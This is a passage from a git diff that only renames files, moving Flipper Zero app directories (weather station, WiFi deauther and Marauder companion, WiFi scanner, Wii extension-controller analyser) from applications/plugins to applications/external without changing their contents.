b/applications/external/weather_station/protocols/oregon2.c similarity index 100% rename from applications/plugins/weather_station/protocols/oregon2.c rename to applications/external/weather_station/protocols/oregon2.c diff --git a/applications/plugins/weather_station/protocols/oregon2.h b/applications/external/weather_station/protocols/oregon2.h similarity index 100% rename from applications/plugins/weather_station/protocols/oregon2.h rename to applications/external/weather_station/protocols/oregon2.h diff --git a/applications/plugins/weather_station/protocols/oregon_v1.c b/applications/external/weather_station/protocols/oregon_v1.c similarity index 100% rename from applications/plugins/weather_station/protocols/oregon_v1.c rename to applications/external/weather_station/protocols/oregon_v1.c diff --git a/applications/plugins/weather_station/protocols/oregon_v1.h b/applications/external/weather_station/protocols/oregon_v1.h similarity index 100% rename from applications/plugins/weather_station/protocols/oregon_v1.h rename to applications/external/weather_station/protocols/oregon_v1.h diff --git a/applications/plugins/weather_station/protocols/protocol_items.c b/applications/external/weather_station/protocols/protocol_items.c similarity index 100% rename from applications/plugins/weather_station/protocols/protocol_items.c rename to applications/external/weather_station/protocols/protocol_items.c diff --git a/applications/plugins/weather_station/protocols/protocol_items.h b/applications/external/weather_station/protocols/protocol_items.h similarity index 100% rename from applications/plugins/weather_station/protocols/protocol_items.h rename to applications/external/weather_station/protocols/protocol_items.h diff --git a/applications/plugins/weather_station/protocols/thermopro_tx4.c b/applications/external/weather_station/protocols/thermopro_tx4.c similarity index 100% rename from applications/plugins/weather_station/protocols/thermopro_tx4.c rename to applications/external/weather_station/protocols/thermopro_tx4.c diff --git a/applications/plugins/weather_station/protocols/thermopro_tx4.h b/applications/external/weather_station/protocols/thermopro_tx4.h similarity index 100% rename from applications/plugins/weather_station/protocols/thermopro_tx4.h rename to applications/external/weather_station/protocols/thermopro_tx4.h diff --git a/applications/plugins/weather_station/protocols/tx_8300.c b/applications/external/weather_station/protocols/tx_8300.c similarity index 100% rename from applications/plugins/weather_station/protocols/tx_8300.c rename to applications/external/weather_station/protocols/tx_8300.c diff --git a/applications/plugins/weather_station/protocols/tx_8300.h b/applications/external/weather_station/protocols/tx_8300.h similarity index 100% rename from applications/plugins/weather_station/protocols/tx_8300.h rename to applications/external/weather_station/protocols/tx_8300.h diff --git a/applications/plugins/weather_station/protocols/ws_generic.c b/applications/external/weather_station/protocols/ws_generic.c similarity index 100% rename from applications/plugins/weather_station/protocols/ws_generic.c rename to applications/external/weather_station/protocols/ws_generic.c diff --git a/applications/plugins/weather_station/protocols/ws_generic.h b/applications/external/weather_station/protocols/ws_generic.h similarity index 100% rename from applications/plugins/weather_station/protocols/ws_generic.h rename to applications/external/weather_station/protocols/ws_generic.h diff --git a/applications/plugins/weather_station/scenes/weather_station_receiver.c b/applications/external/weather_station/scenes/weather_station_receiver.c similarity index 100% rename from applications/plugins/weather_station/scenes/weather_station_receiver.c rename to applications/external/weather_station/scenes/weather_station_receiver.c diff --git a/applications/plugins/weather_station/scenes/weather_station_scene.c b/applications/external/weather_station/scenes/weather_station_scene.c similarity index 100% rename from applications/plugins/weather_station/scenes/weather_station_scene.c rename to applications/external/weather_station/scenes/weather_station_scene.c diff --git a/applications/plugins/weather_station/scenes/weather_station_scene.h b/applications/external/weather_station/scenes/weather_station_scene.h similarity index 100% rename from applications/plugins/weather_station/scenes/weather_station_scene.h rename to applications/external/weather_station/scenes/weather_station_scene.h diff --git a/applications/plugins/weather_station/scenes/weather_station_scene_about.c b/applications/external/weather_station/scenes/weather_station_scene_about.c similarity index 100% rename from applications/plugins/weather_station/scenes/weather_station_scene_about.c rename to applications/external/weather_station/scenes/weather_station_scene_about.c diff --git a/applications/plugins/weather_station/scenes/weather_station_scene_config.h b/applications/external/weather_station/scenes/weather_station_scene_config.h similarity index 100% rename from applications/plugins/weather_station/scenes/weather_station_scene_config.h rename to applications/external/weather_station/scenes/weather_station_scene_config.h diff --git a/applications/plugins/weather_station/scenes/weather_station_scene_receiver_config.c b/applications/external/weather_station/scenes/weather_station_scene_receiver_config.c similarity index 100% rename from applications/plugins/weather_station/scenes/weather_station_scene_receiver_config.c rename to applications/external/weather_station/scenes/weather_station_scene_receiver_config.c diff --git a/applications/plugins/weather_station/scenes/weather_station_scene_receiver_info.c b/applications/external/weather_station/scenes/weather_station_scene_receiver_info.c similarity index 100% rename from applications/plugins/weather_station/scenes/weather_station_scene_receiver_info.c rename to applications/external/weather_station/scenes/weather_station_scene_receiver_info.c diff --git a/applications/plugins/weather_station/scenes/weather_station_scene_start.c b/applications/external/weather_station/scenes/weather_station_scene_start.c similarity index 100% rename from applications/plugins/weather_station/scenes/weather_station_scene_start.c rename to applications/external/weather_station/scenes/weather_station_scene_start.c diff --git a/applications/plugins/weather_station/views/weather_station_receiver.c b/applications/external/weather_station/views/weather_station_receiver.c similarity index 100% rename from applications/plugins/weather_station/views/weather_station_receiver.c rename to applications/external/weather_station/views/weather_station_receiver.c diff --git a/applications/plugins/weather_station/views/weather_station_receiver.h b/applications/external/weather_station/views/weather_station_receiver.h similarity index 100% rename from applications/plugins/weather_station/views/weather_station_receiver.h rename to applications/external/weather_station/views/weather_station_receiver.h diff --git a/applications/plugins/weather_station/views/weather_station_receiver_info.c b/applications/external/weather_station/views/weather_station_receiver_info.c similarity index 100% rename from applications/plugins/weather_station/views/weather_station_receiver_info.c rename to applications/external/weather_station/views/weather_station_receiver_info.c diff --git a/applications/plugins/weather_station/views/weather_station_receiver_info.h b/applications/external/weather_station/views/weather_station_receiver_info.h similarity index 100% rename from applications/plugins/weather_station/views/weather_station_receiver_info.h rename to applications/external/weather_station/views/weather_station_receiver_info.h diff --git a/applications/plugins/weather_station/weather_station_10px.png b/applications/external/weather_station/weather_station_10px.png similarity index 100% rename from applications/plugins/weather_station/weather_station_10px.png rename to applications/external/weather_station/weather_station_10px.png diff --git a/applications/plugins/weather_station/weather_station_app.c b/applications/external/weather_station/weather_station_app.c similarity index 100% rename from applications/plugins/weather_station/weather_station_app.c rename to applications/external/weather_station/weather_station_app.c diff --git a/applications/plugins/weather_station/weather_station_app_i.c b/applications/external/weather_station/weather_station_app_i.c similarity index 100% rename from applications/plugins/weather_station/weather_station_app_i.c rename to applications/external/weather_station/weather_station_app_i.c diff --git a/applications/plugins/weather_station/weather_station_app_i.h b/applications/external/weather_station/weather_station_app_i.h similarity index 100% rename from applications/plugins/weather_station/weather_station_app_i.h rename to applications/external/weather_station/weather_station_app_i.h diff --git a/applications/plugins/weather_station/weather_station_history.c b/applications/external/weather_station/weather_station_history.c similarity index 100% rename from applications/plugins/weather_station/weather_station_history.c rename to applications/external/weather_station/weather_station_history.c diff --git a/applications/plugins/weather_station/weather_station_history.h b/applications/external/weather_station/weather_station_history.h similarity index 100% rename from applications/plugins/weather_station/weather_station_history.h rename to applications/external/weather_station/weather_station_history.h diff --git a/applications/plugins/wifi_deauther/LICENSE b/applications/external/wifi_deauther/LICENSE similarity index 100% rename from applications/plugins/wifi_deauther/LICENSE rename to applications/external/wifi_deauther/LICENSE diff --git a/applications/plugins/wifi_deauther/README.md b/applications/external/wifi_deauther/README.md similarity index 100% rename from applications/plugins/wifi_deauther/README.md rename to applications/external/wifi_deauther/README.md diff --git a/applications/plugins/wifi_deauther/application.fam b/applications/external/wifi_deauther/application.fam similarity index 100% rename from applications/plugins/wifi_deauther/application.fam rename to applications/external/wifi_deauther/application.fam diff --git a/applications/plugins/wifi_deauther/scenes/wifi_deauther_scene.c b/applications/external/wifi_deauther/scenes/wifi_deauther_scene.c similarity index 100% rename from applications/plugins/wifi_deauther/scenes/wifi_deauther_scene.c rename to applications/external/wifi_deauther/scenes/wifi_deauther_scene.c diff --git a/applications/plugins/wifi_deauther/scenes/wifi_deauther_scene.h b/applications/external/wifi_deauther/scenes/wifi_deauther_scene.h similarity index 100% rename from applications/plugins/wifi_deauther/scenes/wifi_deauther_scene.h rename to applications/external/wifi_deauther/scenes/wifi_deauther_scene.h diff --git a/applications/plugins/wifi_deauther/scenes/wifi_deauther_scene_config.h b/applications/external/wifi_deauther/scenes/wifi_deauther_scene_config.h similarity index 100% rename from applications/plugins/wifi_deauther/scenes/wifi_deauther_scene_config.h rename to applications/external/wifi_deauther/scenes/wifi_deauther_scene_config.h diff --git a/applications/plugins/wifi_deauther/scenes/wifi_deauther_scene_console_output.c b/applications/external/wifi_deauther/scenes/wifi_deauther_scene_console_output.c similarity index 100% rename from applications/plugins/wifi_deauther/scenes/wifi_deauther_scene_console_output.c rename to applications/external/wifi_deauther/scenes/wifi_deauther_scene_console_output.c diff --git a/applications/plugins/wifi_deauther/scenes/wifi_deauther_scene_start.c b/applications/external/wifi_deauther/scenes/wifi_deauther_scene_start.c similarity index 100% rename from applications/plugins/wifi_deauther/scenes/wifi_deauther_scene_start.c rename to applications/external/wifi_deauther/scenes/wifi_deauther_scene_start.c diff --git a/applications/plugins/wifi_deauther/scenes/wifi_deauther_scene_text_input.c b/applications/external/wifi_deauther/scenes/wifi_deauther_scene_text_input.c similarity index 100% rename from applications/plugins/wifi_deauther/scenes/wifi_deauther_scene_text_input.c rename to applications/external/wifi_deauther/scenes/wifi_deauther_scene_text_input.c diff --git a/applications/plugins/wifi_deauther/wifi_10px.png b/applications/external/wifi_deauther/wifi_10px.png similarity index 100% rename from applications/plugins/wifi_deauther/wifi_10px.png rename to applications/external/wifi_deauther/wifi_10px.png diff --git a/applications/plugins/wifi_deauther/wifi_deauther_app.c b/applications/external/wifi_deauther/wifi_deauther_app.c similarity index 100% rename from applications/plugins/wifi_deauther/wifi_deauther_app.c rename to applications/external/wifi_deauther/wifi_deauther_app.c diff --git a/applications/plugins/wifi_deauther/wifi_deauther_app.h b/applications/external/wifi_deauther/wifi_deauther_app.h similarity index 100% rename from applications/plugins/wifi_deauther/wifi_deauther_app.h rename to applications/external/wifi_deauther/wifi_deauther_app.h diff --git a/applications/plugins/wifi_deauther/wifi_deauther_app_i.h b/applications/external/wifi_deauther/wifi_deauther_app_i.h similarity index 100% rename from applications/plugins/wifi_deauther/wifi_deauther_app_i.h rename to applications/external/wifi_deauther/wifi_deauther_app_i.h diff --git a/applications/plugins/wifi_deauther/wifi_deauther_custom_event.h b/applications/external/wifi_deauther/wifi_deauther_custom_event.h similarity index 100% rename from applications/plugins/wifi_deauther/wifi_deauther_custom_event.h rename to applications/external/wifi_deauther/wifi_deauther_custom_event.h diff --git a/applications/plugins/wifi_deauther/wifi_deauther_uart.c b/applications/external/wifi_deauther/wifi_deauther_uart.c similarity index 100% rename from applications/plugins/wifi_deauther/wifi_deauther_uart.c rename to applications/external/wifi_deauther/wifi_deauther_uart.c diff --git a/applications/plugins/wifi_deauther/wifi_deauther_uart.h b/applications/external/wifi_deauther/wifi_deauther_uart.h similarity index 100% rename from applications/plugins/wifi_deauther/wifi_deauther_uart.h rename to applications/external/wifi_deauther/wifi_deauther_uart.h diff --git a/applications/plugins/wifi_marauder_companion/application.fam b/applications/external/wifi_marauder_companion/application.fam similarity index 100% rename from applications/plugins/wifi_marauder_companion/application.fam rename to applications/external/wifi_marauder_companion/application.fam diff --git a/applications/plugins/wifi_marauder_companion/scenes/wifi_marauder_scene.c b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene.c similarity index 100% rename from applications/plugins/wifi_marauder_companion/scenes/wifi_marauder_scene.c rename to applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene.c diff --git a/applications/plugins/wifi_marauder_companion/scenes/wifi_marauder_scene.h b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene.h similarity index 100% rename from applications/plugins/wifi_marauder_companion/scenes/wifi_marauder_scene.h rename to applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene.h diff --git a/applications/plugins/wifi_marauder_companion/scenes/wifi_marauder_scene_config.h b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_config.h similarity index 100% rename from applications/plugins/wifi_marauder_companion/scenes/wifi_marauder_scene_config.h rename to applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_config.h diff --git a/applications/plugins/wifi_marauder_companion/scenes/wifi_marauder_scene_console_output.c b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_console_output.c similarity index 100% rename from applications/plugins/wifi_marauder_companion/scenes/wifi_marauder_scene_console_output.c rename to applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_console_output.c diff --git a/applications/plugins/wifi_marauder_companion/scenes/wifi_marauder_scene_start.c b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_start.c similarity index 100% rename from applications/plugins/wifi_marauder_companion/scenes/wifi_marauder_scene_start.c rename to applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_start.c diff --git a/applications/plugins/wifi_marauder_companion/scenes/wifi_marauder_scene_text_input.c b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_text_input.c similarity index 100% rename from applications/plugins/wifi_marauder_companion/scenes/wifi_marauder_scene_text_input.c rename to applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_text_input.c diff --git a/applications/plugins/wifi_marauder_companion/wifi_10px.png b/applications/external/wifi_marauder_companion/wifi_10px.png similarity index 100% rename from applications/plugins/wifi_marauder_companion/wifi_10px.png rename to applications/external/wifi_marauder_companion/wifi_10px.png diff --git a/applications/plugins/wifi_marauder_companion/wifi_marauder_app.c b/applications/external/wifi_marauder_companion/wifi_marauder_app.c similarity index 100% rename from applications/plugins/wifi_marauder_companion/wifi_marauder_app.c rename to applications/external/wifi_marauder_companion/wifi_marauder_app.c diff --git a/applications/plugins/wifi_marauder_companion/wifi_marauder_app.h b/applications/external/wifi_marauder_companion/wifi_marauder_app.h similarity index 100% rename from applications/plugins/wifi_marauder_companion/wifi_marauder_app.h rename to applications/external/wifi_marauder_companion/wifi_marauder_app.h diff --git a/applications/plugins/wifi_marauder_companion/wifi_marauder_app_i.h b/applications/external/wifi_marauder_companion/wifi_marauder_app_i.h similarity index 100% rename from applications/plugins/wifi_marauder_companion/wifi_marauder_app_i.h rename to applications/external/wifi_marauder_companion/wifi_marauder_app_i.h diff --git a/applications/plugins/wifi_marauder_companion/wifi_marauder_custom_event.h b/applications/external/wifi_marauder_companion/wifi_marauder_custom_event.h similarity index 100% rename from applications/plugins/wifi_marauder_companion/wifi_marauder_custom_event.h rename to applications/external/wifi_marauder_companion/wifi_marauder_custom_event.h diff --git a/applications/plugins/wifi_marauder_companion/wifi_marauder_uart.c b/applications/external/wifi_marauder_companion/wifi_marauder_uart.c similarity index 100% rename from applications/plugins/wifi_marauder_companion/wifi_marauder_uart.c rename to applications/external/wifi_marauder_companion/wifi_marauder_uart.c diff --git a/applications/plugins/wifi_marauder_companion/wifi_marauder_uart.h b/applications/external/wifi_marauder_companion/wifi_marauder_uart.h similarity index 100% rename from applications/plugins/wifi_marauder_companion/wifi_marauder_uart.h rename to applications/external/wifi_marauder_companion/wifi_marauder_uart.h diff --git a/applications/plugins/wifi_scanner/FlipperZeroWiFiModuleDefines.h b/applications/external/wifi_scanner/FlipperZeroWiFiModuleDefines.h similarity index 100% rename from applications/plugins/wifi_scanner/FlipperZeroWiFiModuleDefines.h rename to applications/external/wifi_scanner/FlipperZeroWiFiModuleDefines.h diff --git a/applications/plugins/wifi_scanner/application.fam b/applications/external/wifi_scanner/application.fam similarity index 100% rename from applications/plugins/wifi_scanner/application.fam rename to applications/external/wifi_scanner/application.fam diff --git a/applications/plugins/wifi_scanner/wifi_10px.png b/applications/external/wifi_scanner/wifi_10px.png similarity index 100% rename from applications/plugins/wifi_scanner/wifi_10px.png rename to applications/external/wifi_scanner/wifi_10px.png diff --git a/applications/plugins/wifi_scanner/wifi_scanner.c b/applications/external/wifi_scanner/wifi_scanner.c similarity index 100% rename from applications/plugins/wifi_scanner/wifi_scanner.c rename to applications/external/wifi_scanner/wifi_scanner.c diff --git a/applications/plugins/wii_ec_anal/LICENSE b/applications/external/wii_ec_anal/LICENSE similarity index 100% rename from applications/plugins/wii_ec_anal/LICENSE rename to applications/external/wii_ec_anal/LICENSE diff --git a/applications/plugins/wii_ec_anal/WiiEC.png b/applications/external/wii_ec_anal/WiiEC.png similarity index 100% rename from applications/plugins/wii_ec_anal/WiiEC.png rename to applications/external/wii_ec_anal/WiiEC.png diff --git a/applications/plugins/wii_ec_anal/_image_tool/LICENSE b/applications/external/wii_ec_anal/_image_tool/LICENSE similarity index 100% rename from applications/plugins/wii_ec_anal/_image_tool/LICENSE rename to applications/external/wii_ec_anal/_image_tool/LICENSE diff --git a/applications/plugins/wii_ec_anal/_image_tool/README b/applications/external/wii_ec_anal/_image_tool/README similarity index 100% rename from applications/plugins/wii_ec_anal/_image_tool/README rename to applications/external/wii_ec_anal/_image_tool/README diff --git a/applications/plugins/wii_ec_anal/_image_tool/_convert.c b/applications/external/wii_ec_anal/_image_tool/_convert.c similarity index 100% rename from applications/plugins/wii_ec_anal/_image_tool/_convert.c rename to applications/external/wii_ec_anal/_image_tool/_convert.c diff --git a/applications/plugins/wii_ec_anal/_image_tool/_convert.sh b/applications/external/wii_ec_anal/_image_tool/_convert.sh similarity index 100% rename from applications/plugins/wii_ec_anal/_image_tool/_convert.sh rename to applications/external/wii_ec_anal/_image_tool/_convert.sh diff --git a/applications/plugins/wii_ec_anal/_image_tool/_convert_images.c b/applications/external/wii_ec_anal/_image_tool/_convert_images.c similarity index 100% rename from applications/plugins/wii_ec_anal/_image_tool/_convert_images.c rename to applications/external/wii_ec_anal/_image_tool/_convert_images.c diff --git a/applications/plugins/wii_ec_anal/_image_tool/_convert_images.h b/applications/external/wii_ec_anal/_image_tool/_convert_images.h similarity index 100% rename from applications/plugins/wii_ec_anal/_image_tool/_convert_images.h rename to applications/external/wii_ec_anal/_image_tool/_convert_images.h diff --git a/applications/plugins/wii_ec_anal/_image_tool/_convert_test.c b/applications/external/wii_ec_anal/_image_tool/_convert_test.c similarity index 100% rename from applications/plugins/wii_ec_anal/_image_tool/_convert_test.c rename to applications/external/wii_ec_anal/_image_tool/_convert_test.c diff --git a/applications/plugins/wii_ec_anal/_images/CLASSIC.png b/applications/external/wii_ec_anal/_images/CLASSIC.png similarity index 100% rename from applications/plugins/wii_ec_anal/_images/CLASSIC.png rename to applications/external/wii_ec_anal/_images/CLASSIC.png diff --git a/applications/plugins/wii_ec_anal/_images/CLASSIC_N.png b/applications/external/wii_ec_anal/_images/CLASSIC_N.png similarity index 100% rename from applications/plugins/wii_ec_anal/_images/CLASSIC_N.png rename to applications/external/wii_ec_anal/_images/CLASSIC_N.png diff --git a/applications/plugins/wii_ec_anal/_images/DEBUG.png b/applications/external/wii_ec_anal/_images/DEBUG.png similarity index 100% rename from applications/plugins/wii_ec_anal/_images/DEBUG.png rename to applications/external/wii_ec_anal/_images/DEBUG.png diff --git a/applications/plugins/wii_ec_anal/_images/DUMP.png b/applications/external/wii_ec_anal/_images/DUMP.png similarity index 100% rename from applications/plugins/wii_ec_anal/_images/DUMP.png rename to applications/external/wii_ec_anal/_images/DUMP.png diff --git a/applications/plugins/wii_ec_anal/_images/GIMP/Nunchuck_acc.xcf b/applications/external/wii_ec_anal/_images/GIMP/Nunchuck_acc.xcf similarity index 100% rename from applications/plugins/wii_ec_anal/_images/GIMP/Nunchuck_acc.xcf rename to applications/external/wii_ec_anal/_images/GIMP/Nunchuck_acc.xcf diff --git a/applications/plugins/wii_ec_anal/_images/GIMP/RIP.xcf b/applications/external/wii_ec_anal/_images/GIMP/RIP.xcf similarity index 100% rename from applications/plugins/wii_ec_anal/_images/GIMP/RIP.xcf rename to applications/external/wii_ec_anal/_images/GIMP/RIP.xcf diff --git a/applications/plugins/wii_ec_anal/_images/GIMP/Wiring.xcf b/applications/external/wii_ec_anal/_images/GIMP/Wiring.xcf similarity index 100% rename from applications/plugins/wii_ec_anal/_images/GIMP/Wiring.xcf rename to applications/external/wii_ec_anal/_images/GIMP/Wiring.xcf diff --git a/applications/plugins/wii_ec_anal/_images/GIMP/classic.xcf b/applications/external/wii_ec_anal/_images/GIMP/classic.xcf similarity index 100% rename from applications/plugins/wii_ec_anal/_images/GIMP/classic.xcf rename to applications/external/wii_ec_anal/_images/GIMP/classic.xcf diff --git a/applications/plugins/wii_ec_anal/_images/GIMP/csLogo.xcf b/applications/external/wii_ec_anal/_images/GIMP/csLogo.xcf similarity index 100% rename from applications/plugins/wii_ec_anal/_images/GIMP/csLogo.xcf rename to applications/external/wii_ec_anal/_images/GIMP/csLogo.xcf diff --git a/applications/plugins/wii_ec_anal/_images/GIMP/fonts.xcf b/applications/external/wii_ec_anal/_images/GIMP/fonts.xcf similarity index 100% rename from applications/plugins/wii_ec_anal/_images/GIMP/fonts.xcf rename to applications/external/wii_ec_anal/_images/GIMP/fonts.xcf diff --git a/applications/plugins/wii_ec_anal/_images/GIMP/frame.xcf b/applications/external/wii_ec_anal/_images/GIMP/frame.xcf similarity index 100% rename from applications/plugins/wii_ec_anal/_images/GIMP/frame.xcf rename to applications/external/wii_ec_anal/_images/GIMP/frame.xcf diff --git a/applications/plugins/wii_ec_anal/_images/GIMP/port.xcf b/applications/external/wii_ec_anal/_images/GIMP/port.xcf similarity index 100% rename from applications/plugins/wii_ec_anal/_images/GIMP/port.xcf rename to applications/external/wii_ec_anal/_images/GIMP/port.xcf diff --git a/applications/plugins/wii_ec_anal/_images/GIMP/social.xcf b/applications/external/wii_ec_anal/_images/GIMP/social.xcf similarity index 100% rename from applications/plugins/wii_ec_anal/_images/GIMP/social.xcf rename to applications/external/wii_ec_anal/_images/GIMP/social.xcf diff --git a/applications/plugins/wii_ec_anal/_images/NUNCHUCK.png b/applications/external/wii_ec_anal/_images/NUNCHUCK.png similarity index 100% rename from applications/plugins/wii_ec_anal/_images/NUNCHUCK.png rename to applications/external/wii_ec_anal/_images/NUNCHUCK.png diff --git a/applications/plugins/wii_ec_anal/_images/NUNCHUCK_acc.png b/applications/external/wii_ec_anal/_images/NUNCHUCK_acc.png similarity index 100% rename from applications/plugins/wii_ec_anal/_images/NUNCHUCK_acc.png rename to applications/external/wii_ec_anal/_images/NUNCHUCK_acc.png diff --git a/applications/plugins/wii_ec_anal/_images/NUNCHUCK_anal.png b/applications/external/wii_ec_anal/_images/NUNCHUCK_anal.png similarity index 100% rename from applications/plugins/wii_ec_anal/_images/NUNCHUCK_anal.png rename to applications/external/wii_ec_anal/_images/NUNCHUCK_anal.png diff --git a/applications/plugins/wii_ec_anal/_images/NUNCHUCK_cal.gif b/applications/external/wii_ec_anal/_images/NUNCHUCK_cal.gif similarity index 100% rename from applications/plugins/wii_ec_anal/_images/NUNCHUCK_cal.gif rename to applications/external/wii_ec_anal/_images/NUNCHUCK_cal.gif diff --git a/applications/plugins/wii_ec_anal/_images/NUNCHUCK_cal.png b/applications/external/wii_ec_anal/_images/NUNCHUCK_cal.png similarity index 100% rename from applications/plugins/wii_ec_anal/_images/NUNCHUCK_cal.png rename to applications/external/wii_ec_anal/_images/NUNCHUCK_cal.png diff --git a/applications/plugins/wii_ec_anal/_images/Nunchucky.png b/applications/external/wii_ec_anal/_images/Nunchucky.png similarity index 100% rename from applications/plugins/wii_ec_anal/_images/Nunchucky.png rename to applications/external/wii_ec_anal/_images/Nunchucky.png diff --git a/applications/plugins/wii_ec_anal/_images/RIP.png b/applications/external/wii_ec_anal/_images/RIP.png similarity index 100% rename from applications/plugins/wii_ec_anal/_images/RIP.png rename to applications/external/wii_ec_anal/_images/RIP.png diff --git a/applications/plugins/wii_ec_anal/_images/SPLASH.png b/applications/external/wii_ec_anal/_images/SPLASH.png similarity index 100% rename from applications/plugins/wii_ec_anal/_images/SPLASH.png rename to applications/external/wii_ec_anal/_images/SPLASH.png diff --git a/applications/plugins/wii_ec_anal/_images/WAIT.png b/applications/external/wii_ec_anal/_images/WAIT.png similarity index 100% rename from applications/plugins/wii_ec_anal/_images/WAIT.png rename to applications/external/wii_ec_anal/_images/WAIT.png diff --git a/applications/plugins/wii_ec_anal/_images/WiiChuck.png b/applications/external/wii_ec_anal/_images/WiiChuck.png similarity index 100% rename from applications/plugins/wii_ec_anal/_images/WiiChuck.png rename to applications/external/wii_ec_anal/_images/WiiChuck.png diff --git a/applications/plugins/wii_ec_anal/_images/Wiring.png b/applications/external/wii_ec_anal/_images/Wiring.png similarity index 100% rename from applications/plugins/wii_ec_anal/_images/Wiring.png rename to applications/external/wii_ec_anal/_images/Wiring.png diff --git a/applications/plugins/wii_ec_anal/_images/plug.png b/applications/external/wii_ec_anal/_images/plug.png similarity index 100% rename from applications/plugins/wii_ec_anal/_images/plug.png rename to applications/external/wii_ec_anal/_images/plug.png diff --git a/applications/plugins/wii_ec_anal/_images/social.png b/applications/external/wii_ec_anal/_images/social.png similarity index 100% rename from applications/plugins/wii_ec_anal/_images/social.png rename to applications/external/wii_ec_anal/_images/social.png diff --git a/applications/plugins/wii_ec_anal/application.fam b/applications/external/wii_ec_anal/application.fam similarity index 100% rename from applications/plugins/wii_ec_anal/application.fam rename to applications/external/wii_ec_anal/application.fam diff --git a/applications/plugins/wii_ec_anal/bc_logging.h b/applications/external/wii_ec_anal/bc_logging.h similarity index 100% rename from applications/plugins/wii_ec_anal/bc_logging.h rename to applications/external/wii_ec_anal/bc_logging.h diff --git a/applications/plugins/wii_ec_anal/err.h b/applications/external/wii_ec_anal/err.h similarity index 100% rename from applications/plugins/wii_ec_anal/err.h rename to applications/external/wii_ec_anal/err.h diff --git a/applications/plugins/wii_ec_anal/gfx/images.c b/applications/external/wii_ec_anal/gfx/images.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/images.c rename to applications/external/wii_ec_anal/gfx/images.c diff --git a/applications/plugins/wii_ec_anal/gfx/images.h b/applications/external/wii_ec_anal/gfx/images.h similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/images.h rename to applications/external/wii_ec_anal/gfx/images.h diff --git a/applications/plugins/wii_ec_anal/gfx/img_3x5_0.c b/applications/external/wii_ec_anal/gfx/img_3x5_0.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_3x5_0.c rename to applications/external/wii_ec_anal/gfx/img_3x5_0.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_3x5_1.c b/applications/external/wii_ec_anal/gfx/img_3x5_1.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_3x5_1.c rename to applications/external/wii_ec_anal/gfx/img_3x5_1.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_3x5_2.c b/applications/external/wii_ec_anal/gfx/img_3x5_2.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_3x5_2.c rename to applications/external/wii_ec_anal/gfx/img_3x5_2.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_3x5_3.c b/applications/external/wii_ec_anal/gfx/img_3x5_3.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_3x5_3.c rename to applications/external/wii_ec_anal/gfx/img_3x5_3.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_3x5_4.c b/applications/external/wii_ec_anal/gfx/img_3x5_4.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_3x5_4.c rename to applications/external/wii_ec_anal/gfx/img_3x5_4.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_3x5_5.c b/applications/external/wii_ec_anal/gfx/img_3x5_5.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_3x5_5.c rename to applications/external/wii_ec_anal/gfx/img_3x5_5.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_3x5_6.c b/applications/external/wii_ec_anal/gfx/img_3x5_6.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_3x5_6.c rename to applications/external/wii_ec_anal/gfx/img_3x5_6.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_3x5_7.c b/applications/external/wii_ec_anal/gfx/img_3x5_7.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_3x5_7.c rename to applications/external/wii_ec_anal/gfx/img_3x5_7.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_3x5_8.c b/applications/external/wii_ec_anal/gfx/img_3x5_8.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_3x5_8.c rename to applications/external/wii_ec_anal/gfx/img_3x5_8.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_3x5_9.c b/applications/external/wii_ec_anal/gfx/img_3x5_9.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_3x5_9.c rename to applications/external/wii_ec_anal/gfx/img_3x5_9.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_3x5_v.c b/applications/external/wii_ec_anal/gfx/img_3x5_v.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_3x5_v.c rename to applications/external/wii_ec_anal/gfx/img_3x5_v.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_5x7_0.c b/applications/external/wii_ec_anal/gfx/img_5x7_0.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_5x7_0.c rename to applications/external/wii_ec_anal/gfx/img_5x7_0.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_5x7_1.c b/applications/external/wii_ec_anal/gfx/img_5x7_1.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_5x7_1.c rename to applications/external/wii_ec_anal/gfx/img_5x7_1.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_5x7_2.c b/applications/external/wii_ec_anal/gfx/img_5x7_2.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_5x7_2.c rename to applications/external/wii_ec_anal/gfx/img_5x7_2.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_5x7_3.c b/applications/external/wii_ec_anal/gfx/img_5x7_3.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_5x7_3.c rename to applications/external/wii_ec_anal/gfx/img_5x7_3.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_5x7_4.c 